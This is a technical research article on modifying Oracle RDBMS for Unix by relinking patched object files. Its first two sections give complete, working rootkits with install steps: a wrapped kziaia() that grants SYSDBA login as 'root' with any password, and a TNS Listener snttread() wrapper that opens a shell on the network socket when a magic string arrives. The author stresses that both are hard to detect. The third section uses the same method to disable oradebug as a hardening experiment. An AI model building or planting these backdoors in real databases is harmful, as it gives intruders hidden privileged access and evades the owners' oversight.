# Oracle RDBMS rootkits and other modifications

Dennis Yurichev <dennis@yurichev.com>

6-Jan-2014

## 1 Oracle RDBMS rootkit (19-Jan-2010)

I'm not sure, if this can be called real rootkit, but I hope so.

The fact UNIX Oracle RDBMS binaries are linking from .o files at installation and at each patching process, give us new way to modify it.

We can use conventional GCC compiler and GNU linker.

Let's see, if we can modify main Oracle binary in such way it will contain hole for remote attacker.

Can we add a (very) invisible superuser account?

Yes.

By patching `kziaia()` function, which do authorization, check password, etc.

The function is stored in `kzia.o` object file which is, in turn, stored in `libserver11.a` library. It takes on input some special structure contain username and other information. Username is right at +0 offset from structure start. Obviously, we can't replace this function (legal users need to login too and their incorrect passwords must be checked), but rather we make wrapper function. Let's take original `kzia.o` file and rename kziaia function inside it to something different: using binary editor. In my case, I renamed it to `Kziaia`, e.g., I capitalize first symbol. Now let's write our own `kziaia()` function implementation. What it will do: check for some special username ("root") and if it so, turn SYSDBA global flag in PGA and return success (e.g., user have a right to login and password is correct). If username is not "root", let's call original `kziaia()` function by calling `Kziaia()` with capital first symbol in name.

Since we are now in Oracle low-level environment, we can even write debug information into trace files by calling `ksdwra()` function, it behaves as `printf()`.

Here we are also able to allocate memory by calling Oracle memory manager's functions, even raise ORA- errors, but I do not have any idea yet how to make use of it.

```
extern Kziaia (char* buf); // original function

extern void ksdwra (const char * fmt, ...);  // writer to alert_<SID>.log
extern int kzspga_; // contain SYSDBA flag

int kziaia (char *buf)
{
        int Kziaia_result;

        ksdwra ("kziaia (%s)", buf); // write this to alert_<SID>.log

        // is username in struct is "root"?
        if (buf[0]=='r' && buf[1]=='o' && buf[2]=='o' && buf[3]=='t' && buf[4]==0)
        {
                ksdwra ("returning 0");
                kzspga_|=2; // set SYSDBA flag
                *(buf+0x150)=6; // must be 2 for local login success
                return 0;
        }
        else
        {
                ksdwra ("calling original kziaia()");
                Kziaia_result=Kziaia (buf);
                ksdwra ("original kziaia -> %d\n", Kziaia_result);
                return Kziaia_result;
        };
};
```

Nothing special at all. One more thing is that input buffer modified slightly—this value will be checked after `kziaia()` call inside of `kpolnb()` function. Please note that 0x150 offset is different in 11.2 Linux x64 (0x178).

I also wrote small Python script to patch `kzia.o` file automatically:

```
import os, glob, mmap, sys

# replace all "kziaia" strings in file to "Kziaia"

pattern = "kziaia"

fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)

addr = 0
while addr != -1:
  addr = mm.find(pattern, addr)
  if addr != -1:
    print "patching at addr=", addr
    mm[addr] = "K"

mm.close()
fp.close()
```

Let's try to make all things working on my fresh Linux x86 Oracle 11.2 installation.

Fetch `kzia.o` from `libserver11.a` library using *ar* archiver:

```
[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libserver11.a kzia.o
```

Make backup:

```
[oracle@localhost ~]$ cp kzia.o kzia.o.original
```

Patch it:

```
[oracle@localhost ~]$ python kzia-o-patcher.py kzia.o
patching at addr= 8837
patching at addr= 49100
```

Values are offsets where patcher replaced "kziaia" strings to "Kziaia".

Put it back:

```
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia.o
```

Compile our own function implementation using GCC compiler:

```
[oracle@localhost ~]$ gcc -c kzia_wrapper.c
```

Place it to `libserver11.a` file too, so linker can find it and link.

```
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia_wrapper.o
```

Relink all binaries:

```
[oracle@localhost ~]$ cd $ORACLE_HOME/bin
[oracle@localhost bin]$ ./relink all
```

Now our C code is compiled into main Oracle binary. Let's test it.

Start database and connect to it via network. Use "root" as login and any password (exactly: any password).

```
C:\oracle\client-11.1\bin>sqlplus.exe root@orcl as sysdba

SQL*Plus: Release 11.1.0.6.0 - Production on Tue Jan 19 05:48:43 2010

Copyright (c) 1982, 2007, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
```

```
SQL> select user from dual;

USER
------------------------------
SYS

SQL> SELECT sys_context('USERENV', 'SESSION_USER') FROM dual;

SYS_CONTEXT('USERENV','SESSION_USER')
--------------------------------------------------------------------------------

SYS
```

What our function wrote to `alert_orcl.log`?:

```
Tue Jan 19 05:48:43 2010
kziaia (root)
returning 0
```

Well, this solution is probably not very stable, it was not fully tested at all. I modified successfully 11.1 and 11.2 Linux x86.

It will not work if you attempt to login as "root" locally (you'll got ORA-600 error), because "6" value is not correct for this operation, there must be "2". Also, in fact, `kziaia()` function doing much more things and by bypassing it, there're must be other yet unknown gotchas.

As you can clearly see, this modification can be made automatically by some special script.

Now how to detect its presence in working system? Not an easy question. Of course, backdoor username can be changed, `ksdwra()` calls removed, files renamed, etc. Check `kziaia()` function for integrity? Well, it is not a single place there responsible for login. In fact, before I decided to work with `kziaia()`, I found few other places to patch. We could try to enumerate all .o files in .a libraries and compare all them with "known and good files" list, but they are very often added by Oracle in new patches (and changed as well).

If I'm correct, this method do not leave any trace in database or SGA memory.

Files:

- http://yurichev.com/non-wiki-files/blog/oracle-rootkit-1/kzia_wrapper.c
- http://yurichev.com/non-wiki-files/blog/oracle-rootkit-1/kzia-o-patcher.py_.txt

P.S. TNS Listener can be modified by relinking too.

P.P.S. How to ensure you do not have any modified binary files? Reinstall Oracle base installation + patchset + patches you need.

## 2 Oracle TNS Listener rootkit (20-Jan-2010)

As I wrote before, TNS Listener can be easily modified too. This time I decide to modify function which receive data on TCP/IP channel: `snttread()`. It's located in `sntt.o` file which is, in turn, located in `libntcp11.a` library. The function is extremely simple, it can be said, it is just wrapper for `recv()` [1] in Linux and for `WSARecv()` [2] in Windows.

As I did before, I renamed function name in `sntt.o` from `snttread` to `Snttread`: I capitalized first symbol. Now here is my wrapper function:

```
#include <stdio.h>
#include <spawn.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>

extern int Snttread (int fd, int buf, int buflen, int d);

int snttread (int fd, int buf, int buflen, int d)
{
        int r;
        char *name[2];
        char *envp[] = { NULL };
        pid_t pid;
```

[1] https://www.opengroup.org/onlinepubs/000095399/functions/recv.html
[2] http://msdn.microsoft.com/en-us/library/ms741688(VS.85).aspx

```
        // do read
        r=Snttread (fd, buf, buflen, d);

        // compare buf start for magic word presence
        if (memcmp (buf, "/bin/sh", 7)==0)
        {
                // connect socket to stdin/stdout/stderr of process to be runned
                dup2 (fd, 0);
                dup2 (fd, 1);
                dup2 (fd, 2);

                // spawn /bin/sh
                name[0]="/bin/sh";
                name[1]=NULL;
                pid=getpid();
                posix_spawn(&pid, name[0], NULL, NULL, name, envp);

                // wait for /bin/sh termination
                wait(NULL);

                // let caller think we do not received anything
                return 0;
        }
        else
                return r;
};
```

What is going on here: if packet received contain some magic word, we spawn `/bin/sh` process. Magic word in my case is "/bin/sh"—this is just my sense of humor. If magic word is somewhere in the middle of received packet, backdoor will not be opened, obviously because `memcpy()` looking for it at the begin of packet.

As in past, I also prepared Python script to patch original `sntt.o` file:

```
import os, glob, mmap, sys

# replace all "snttread" strings in file to "Snttread"

pattern = "snttread"

fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)

addr = 0
while addr != -1:
  addr = mm.find(pattern, addr)
  if addr != -1:
    print "patching at addr=", addr
    mm[addr] = "S"

mm.close()
fp.close()
```

Let's gather things together.

Fetch original `sntt.o` file from `libntcp11.a` library:

```
[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libntcp11.a sntt.o
```

Make backup:

```
[oracle@localhost ~]$ cp sntt.o sntt.o.bak
```

Patch it:

```
[oracle@localhost ~]$ python sntt-o-patcher.py sntt.o
patching at addr= 732
patching at addr= 4882
```

Addresses are the places where strings were changed.

Put patched object file back:

```
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt.o
```

Compile our wrapper:

```
[oracle@localhost ~]$ gcc -c sntt_wrapper.c
```

Put it to library too:

```
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt_wrapper.o
```

Relink all:

```
[oracle@localhost ~]$ relink all
```

After relinking, at least two binaries will contain our code: oracle main binary and `libclntsh.so.11.1` dynamic library: last one is loaded by `tnslsnr`.

Run TNS Listener (`ORACLE_HOME` and `ORACLE_SID` environment variables must be set correctly):

```
[oracle@localhost ~]$ tnslsnr
```

I didn't have success with telnet. So I used netcat[3], it works.

Run it and type "/bin/sh". Wow, you already in. Here I also type "uname -a" and "whoami":

```
[oracle@localhost ~]$ nc localhost 1521
/bin/sh
uname -a
Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux
whoami
oracle
```

tnslsnr process is running under "oracle" account, so, spawned `/bin/sh` process inherited this too.

What was written to `listener.log`?

```
20-JAN-2010 12:16:05 * 12502
TNS-12502: TNS:listener received no CONNECT_DATA from client
```

Well, it is just because after `/bin/sh` termination, `snttread()` function returned zero, meaning: nothing was received.

Nothing more in log files.

Files:

- http://yurichev.com/non-wiki-files/blog/oracle-rootkit-2/sntt-o-patcher.py_.txt
- http://yurichev.com/non-wiki-files/blog/oracle-rootkit-2/sntt_wrapper.c

P.S. This was checked in 11.1.0.7.0 Linux x86 only.

# 3 oradebug hardening (23-Sep-2011)

Today, Oracle security bloggers write about dangerous "oradebug" command:

- http://www.soonerorlater.hu/download/hacktivity_lt_2011_en.pdf
- http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug
- http://www.petefinnigan.com/weblog/archives/00001352.htm
- http://www.petefinnigan.com/weblog/archives/00001353.htm

Here is also quick introduce to "oradebug" command:

- http://www.oracleutilities.com/wiki/index.php?title=Oradebug
- http://www.evdbt.com/Oradebug_Modrakovic.pdf

Oradebug PEEK and POKE commands, working with arbitrary memory addresses, reminds me 8-bit home computers era:

[3] http://en.wikipedia.org/wiki/Netcat

> In the context of games for many 8-bit computers, it was a common practice to load games into memory and, before launching them, modify specific memory addresses in order to cheat, getting an unlimited number of lives, immunity, invisibility, etc. Such modifications were performed using POKE statements. The Commodore 64, ZX Spectrum and Amstrad CPC also allowed players with the relevant cartridges or Multiface add-on to freeze the running program, enter POKEs, and resume. For example, in Knight Lore for the ZX Spectrum, immunity can be achieved with the following command: POKE 47196, 201 In this case, the value 201 corresponds to a RET instruction, so that the game returns from a subroutine early before triggering collision detection. Magazines such as Microhobby published lists of such POKEs for games. Such codes were generally identified by reverse-engineering the machine code to locate the memory address containing the desired value that related to, for example, the number of lives, detection of collisions, etc. Using a 'POKE' cheat is more difficult in modern games, as many include anti-cheat or copy-protection measures that inhibit modification of the game's memory space. Modern operating systems may also enforce virtual memory protection schemes to deny external program access to non-shared memory (for example, separate page tables for each application, hence inaccessible memory spaces).

(http://en.wikipedia.org/wiki/PEEK_and_POKE#POKEs_as_cheats)

Yes, indeed, it is surprisingly strange when you meet this feature in highly complex and huge system like Oracle RDBMS.

Another interesting thing I found in `oraus.msg` file:

```
00078, 00000, "cannot dump variables by name"
// *Cause:  An attempt was made to dump a variable by name on a system that
//          does not support this feature.
// *Action: Try the PEEK command.
```

This is text of error number 78 and here you can see reference to PEEK command. In version 11.2, `oraus.msg` contain error messages for 16481 errors, so, in other words, error 78 probably present since very early Oracle versions.

As I can see, SQL*Plus do not treat "oradebug" as SQL statements, they are not parsed/executed as usual SQL statements, they are passed via network with special OPI calls: 0x56 and 0x57 (named "DEBUG" and "DEBUGS" in `opipio[]` table respectively).

(`opipio[]` table is the table of all OPI calls, their names and corresponding functions, called each time when network packet with that OPI number is coming. By the way: this table is extending from version to version. As of 11.2 highest OPI call is 0xAB. I guess, new OPI calls will be appeared in new versions. And some OPI calls are removed, like 0x83 "MEMORY STATS". I remember some vulnerability was related to this OPI call and in some version, Oracle developers decided to remove it completely. Probably it was internal/rudimentary and wasn't used by anyone?).

So, OPI calls 0x56 and 0x57 calling one function—`ksdxen()` from `ksdx.o` module, and if I'm correct, that module contain all oradebug functionality.

Here is also table `ksdxta[]` contain all valid oradebug commands (visible from "oradebug help" command) plus corresponding function.

For example, for "POKE" command, function `ksdxfpok()` is called and execution flow is coming right to `ksmpoke()` function, doing actual memory write. Thanks god, this function checks is the address is valid memory pointer before write!

So, how to protect our system? How to block oradebug feature? As I wrote before, Oracle for *NIX systems is very unusual in that fact it's rebuilt at each setup and after each patching. I wrote before on Oracle rootkit topic, a rootkit which can be easily compiled right inside of main oracle executable process.

By the very same fashion, we can block oradebug functionality by blocking function `ksdxen()`.

Let's get started. Backup all your files first!

Let's write our new version of this function:

```
extern void ksesec0 (int);

void ksdxen ()
{
        ksesec0 (1335); // raise error 01335, 00000, "feature not yet implemented"
};
```

This is the function which will be called each time someone tried to execute oradebug command, it will just raise error 1335 and nothing more.

Extract from library and save original `ksdx.o` module:

```
[oracle@localhost bin]$ ar -x $ORACLE_HOME/lib/libserver11.a ksdx.o
[oracle@localhost bin]$ cp ksdx.o ksdx.o.original
```

This would be contents of `ksdx-patcher.py` python patching utility:

```
import os, glob, mmap, sys

# replace all "ksdxen" strings in file to "Ksdxen"

pattern = "ksdxen\x00"

fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)

addr = 0
while addr != -1:
  addr = mm.find(pattern, addr)
  if addr != -1:
    print "patching at addr=", addr
    mm[addr] = "K"

mm.close()
fp.close()
```

Patch `ksdx.o` module—replace all `ksdxen` strings to `Ksdxen`—so it will be different function. (All names in C/C++/UNIX standards are case-sensitive, so old `ksdxen()` function will not be linked in new executable, and will not be called in future).

```
[oracle@localhost bin]$ python ksdx-patcher.py ksdx.o
patching at addr= 124501
```

Compile our new version of function:

```
[oracle@localhost bin]$ gcc -c ksdxen.c
```

Add it to main Oracle server library:

```
[oracle@localhost bin]$ ar -r $ORACLE_HOME/lib/libserver11.a ksdxen.o
```

Relink all:

```
[oracle@localhost bin]$ ./relink all
```

Let's test:

```
[oracle@localhost bin]$ ./sqlplus
```

```
SQL*Plus: Release 11.2.0.1.0 Production on Thu Sep 22 14:32:14 2011

Copyright (c) 1982, 2009, Oracle.  All rights reserved.

Enter user-name: sys as sysdba
Enter password:

SQL> oradebug setmypid
ORA-01335: feature not yet implemented
SQL> oradebug core
ORA-01335: feature not yet implemented
```

Get all things back. Remove our version of function:

```
[oracle@localhost bin]$ ar -d $ORACLE_HOME/lib/libserver11.a ksdxen.o
```

Get back original module:

```
[oracle@localhost bin]$ cp ksdx.o.original ksdx.o
```

Replace it in library:

```
[oracle@localhost bin]$ ar -r $ORACLE_HOME/lib/libserver11.a ksdx.o
```

...now you can relink again to back your Oracle RDBMS system in previous state with oradebug functionality present.

What about Oracle win32?

Run my tracer[4] tool to determine `ksdxen_int()` function address (`ksdxen()` function is actually thunk and all essential work is in `ksdxen_int()`—we will patch it).

```
tracer.exe -a:oracle.exe --allsymbols:oracle.exe!_?ksdxen_int

generic tracer 0.5beta (Jul 27 2011 15:07:27) (WIN32), http://conus.info/gt

ORACLE_HOME is set to [C:\app\Administrator\product\11.2.0\dbhome_1\]
Attaching to PID 1348
New process: C:\app\Administrator\product\11.2.0\dbhome_1\BIN\oracle.exe, PID=1348
PID=1348|New symbol. Module=[oracle.exe], address=[0x4dae1a], name=[_ksdxen_int]
```

The function `ksdxen_int()` beginning with SYSDBA privilege checking, and probably something even more (Linux version):

```
mov     eax, ds:kzspga_
mov     [ebp+var_10], 0
test    eax, 80h
jnz     short loc_800FEB2
test    al, 2
jnz     short loc_800FEB2
push    1031
call    ksesec0
pop     ecx
```

Two bits are checked in `kzspga` global variable—2 (meaning current user have SYSDBA privilege) and 0x80 (don't know yet what is it). If any bit set—oradebug can be executed by current user, if both are clear—error 1031 will be raised ("insufficient privileges").

Here is piece of the same code from win32 11.2:

```
.text:004DAE4B 8B 15 08 EB 9A 06                mov     edx, TlsIndex
.text:004DAE51 64 A1 2C 00 00 00                mov     eax, large fs:2Ch
.text:004DAE57 C7 45 B8 00 00 00+               mov     dword ptr [ebp-48h], 0
.text:004DAE5E 8B 14 90                         mov     edx, [eax+edx*4]
.text:004DAE61 8B 82 A0 A2 00 00                mov     eax, [edx+0A2A0h]
.text:004DAE67 A9 80 00 00 00                   test    eax, 80h
.text:004DAE6C 75 1E                            jnz     short loc_4DAE8C
.text:004DAE6E A8 02                            test    al, 2
.text:004DAE70 75 1A                            jnz     short loc_4DAE8C
.text:004DAE72 68 07 04 00 00                   push    407h
.text:004DAE77 E8 22 82 F6 FF                   call    _ksesec0
.text:004DAE7C 59                               pop     ecx
```

(Oracle use thread-local storage[5] for storing these variables)

Nota bene: all offsets are valid only for unpatched original 11.2 win32! For other versions, first determing `ksdxen_int()` function address using generic tracer.

By patching these two jumps we are able to block all oradebug functionality in Oracle win32.

Get hex editor like HIEW[6] and patch bytes at addresses 0x004DAE6C and 0x004DAE70 in oracle.exe file. Write two NOPs ("no operation") here, so error will be raised in any way:

```
.text:004DAE67 A9 80 00 00 00                   test    eax, 80h
.text:004DAE6C 90                               nop
.text:004DAE6D 90                               nop
.text:004DAE6E A8 02                            test    al, 2
.text:004DAE70 90                               nop
.text:004DAE70 91                               nop
.text:004DAE72 68 07 04 00 00                   push    407h
.text:004DAE77 E8 22 82 F6 FF                   call    _ksesec0
.text:004DAE7C 59                               pop     ecx
```

(It is simpler to patch only second byte in Jcc instruction to achieve the same bypassing effect, but I used NOPs here for simplicity).

You can also replace 0x407 (1031) to 0x537 (1335), so raised error would be 1335 instead of 1031:

[4] http://yurichev.com/tracer-en.html
[5] http://en.wikipedia.org/wiki/Thread-local_storage
[6] http://www.hiew.ru/

```
.text:004DAE67 A9 80 00 00 00                  test    eax, 80h
.text:004DAE6C 90                              nop
.text:004DAE6D 90                              nop
.text:004DAE6E A8 02                           test    al, 2
.text:004DAE70 90                              nop
.text:004DAE70 91                              nop
.text:004DAE72 68 37 05 00 00                  push    537h
.text:004DAE77 E8 22 82 F6 FF                  call    _ksesec0
.text:004DAE7C 59                              pop     ecx
```

Now Oracle win32 will behave just as our patched Oracle for Linux: it will raise error 1335 any time someone try to execute oradebug command.

Conclusion: I cannot say that `ksdx.o` functions used only when someone execute oradebug statements. As it seems, *probably*, these functions used somewhere else too. So, it is possible that by disabling oradebug by my method you will break some another Oracle functionality. Take this information as a experiment, not as instruction for protection your production database.

Buy anyway, this could be extreme system hardening by code modification.